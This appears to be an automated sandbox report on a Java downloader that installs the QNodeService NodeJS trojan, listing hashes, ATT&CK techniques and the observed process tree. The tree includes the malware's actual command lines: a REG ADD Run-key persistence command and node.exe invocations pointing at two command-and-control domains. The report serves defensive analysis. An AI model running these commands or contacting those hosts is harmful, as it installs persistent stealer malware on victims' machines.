qnodeservice | e25096805f8a15d1c28e32f129af8a495a5a94cbef59c0ee7eacccf3e1578bf7

General

Target

TJ001RFQ.jar
Size

12KB
MD5

4c91d1c7e9cdbdeaa6248393734aa803
SHA1

f8303592154cf38ed075635d7d6526f057fffeae
SHA256

e25096805f8a15d1c28e32f129af8a495a5a94cbef59c0ee7eacccf3e1578bf7
SHA512

1e767c97f624adcee9d28a64e42b00490b3742237a1c28fa43133c904508a427f5ef6be4d8a4c8e2dacfe957585f94689be8483d63261ecb5f78a7b9aaae46b1

Score

10^/10

Malware Config

Signatures

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfb1-114.dat	family_qnodeservice

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-f2578a0e = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-f2578a0e.cmd\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	wtfismyip.com
11	wtfismyip.com

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 3680	1808	java.exe	69
PID 1808 wrote to memory of 3680	1808	java.exe	69
PID 3680 wrote to memory of 4004	3680	node.exe	70
PID 3680 wrote to memory of 4004	3680	node.exe	70
PID 4004 wrote to memory of 1008	4004	cmd.exe	71
PID 4004 wrote to memory of 1008	4004	cmd.exe	71
PID 3680 wrote to memory of 2180	3680	node.exe	72
PID 3680 wrote to memory of 2180	3680	node.exe	72

Executes dropped EXE 2 IoCs

pid	Process
3680	node.exe
2180	node.exe

Loads dropped DLL 4 IoCs

pid	Process
2180	node.exe
2180	node.exe
2180	node.exe
2180	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2180	node.exe
2180	node.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\TJ001RFQ.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://zahernabalsi.crabdance.com --central-base-url https://zahernabelsi.spdns.org
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-f2578a0e" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-f2578a0e.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-f2578a0e" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-f2578a0e.cmd\""
      4⤵
      Adds Run entry to start application
      PID:1008
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://zahernabalsi.crabdance.com --central-base-url https://zahernabelsi.spdns.org
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    PID:2180

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2180-119-0x00000119F1800000-0x00000119F1801000-memory.dmp

Filesize
4KB

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memory/3680-113-0x0000033843EC0000-0x0000033843EC1000-memory.dmp

Filesize
4KB

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